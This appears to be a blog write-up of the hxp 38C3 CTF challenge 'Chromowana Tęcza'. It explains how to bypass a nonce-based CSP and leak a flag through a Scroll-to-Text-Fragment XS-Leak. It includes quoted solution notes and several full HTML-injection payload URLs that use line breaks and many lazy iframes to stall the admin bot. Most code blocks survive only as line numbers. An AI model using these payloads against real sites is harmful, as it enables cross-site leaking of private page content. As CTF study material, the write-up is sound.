A few weeks ago, there was a very interesting CTF in the hxp 38C3 CTF. However, I got up late and didn’t work on it with my teammates. The title is Chromowana Tęcza. If you are interested, you can go to CTFtime to download the docker to reproduce it yourself.
The question gives an admin.py and index.php, where CSP is implemented in index.php
1 |
|
Source code
1 | <!DOCTYPE html> |
1 | #!/usr/bin/env python3 |
At a glance, we can tell that this is an XSS, but many restrictions have been imposed. In addition to the CSP mentioned above, the backend also has case restrictions, as well as front-end JS restrictions. The CSP method used here is a method proposed by Google a few years ago, https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/, which uses nonce-{random}
for CSP defense. For specific paper, see https://static.googleusercontent.com/media/research.google.com/zh-CN//pubs/archive/45542.pdf. The STTF attack is also used here, which is very interesting, https://xsleaks.dev/docs/attacks/experiments/scroll-to-text-fragment/
In addition, the Dockerfile also downloads a Chrome browser, which tells us that the whole problem is not as simple as XSS
1 | RUN DEBIAN_FRONTEND=noninteractive apt-get update && \ |
CSP adds nonce-{random}
mechanism to prevent a series of indirect attacks. In addition, there is base-uri
restriction. If we enter
1 | ?awesome=<p><script src=?> |
It will echo
Note that there will be a pause when clicking “show me admin” because the bot in the background is constantly sliding up and down. After the game, the organizer said that they prepared this operation for a long time xD. The STTF attack used here is as follows
Scroll to Text Fragment (STTF) is a new web platform feature that allows users to create a link to any part of a web page text. The fragment
#:~:text=
carries a text snippet that is highlighted and brought into the viewport by the browser. This feature can introduce a new XS-Leak if attackers are able to detect when this behavior occurs. This issue is very similar to the Scroll to CSS Selector XS-Leak.
The expected solution is to perform a window call attack through STTF+details element+object element. The original text is as follows
our solution involved using STTF + details element + object element: details element shows content only when the element is opened (usually clicked), but it can also be opened via STTF. so with details element i can show content if STTF triggers onto it. then, i used the fact that object tag only creates window reference if it is visible (see justctf’s challenge another another csp), so i put object tag in details element. if the details element is opened, the object tag renders and creates a window which can be counted cross-origin
there was some weirdness where the object would always create the window reference if there was STTF present, but for some reason doing
<object data=/x><object data=about:blank></object></object>
fixed itbut to do window counting we needed our own exploit page to load first, so i abused the fact that you can use STTF without user interaction if you have a same-origin HTML injection (just inject meta http-equiv refresh)
so the URL i reported to the admin bot didnt even have a STTF hash lol, so the weird admin.py wasn’t necessary
Bypassing CSP is not a difficult task in the later stage. Here, you can add a long tag to bypass it easily. There is no need to talk about capitalization. Let’s assume that the expected flag is not capitalized. So if we want to attack, it is very simple. Just find a way to stop the bot. The stop here does not mean to stop directly, but to make the bot stuck for a while, just like SQL delayed injection. It is safe to guess that the target container has a small memory xD. Here, someone saw someone blocking the bot by loading a lot of <iframe>
tags. To be honest, this idea is really awesome, but then I also found someone complaining that in real life, the core of triggering XSS is basically <img src=a onerror=alert(1)>
. I can only say that this question is a CTF for CTF, but it is quite fun and I learned a lot.
With a general idea in mind, close the tag here and construct it
1 | ?awesome=<p><br><br><br><br><br><br><br><br>...无数个<br><script src=?></div>111</p></div> |
Then rub out a few <iframe src=1 loading=lazy></iframe>
, the exp is as follows
1 | ?awesome=<p><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><iframe src=a loading=lazy></iframe>i#:~:text=i<script+src%3d%3f></div>111</p></div> |
Next, generate an unlimited number of <iframe>
tags
1 | ?awesome=<p><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe><iframe src=a loading=lazy></iframe>i#:~:text=i<script src></div>111</p></div> |
Here flag is icecliffs
, when we enter i
If enter another
Then write a script to blast the flag.
1 | import requests |
Reference
- https://docs.google.com/document/d/15HVLD6nddA0OaI8Dd0ayBP2jlGw5JpRD-njAyY1oNZo
- https://xsleaks.dev/docs/attacks/experiments/scroll-to-text-fragment/
- https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/
- https://static.googleusercontent.com/media/research.google.com/zh-CN//pubs/archive/45542.pdf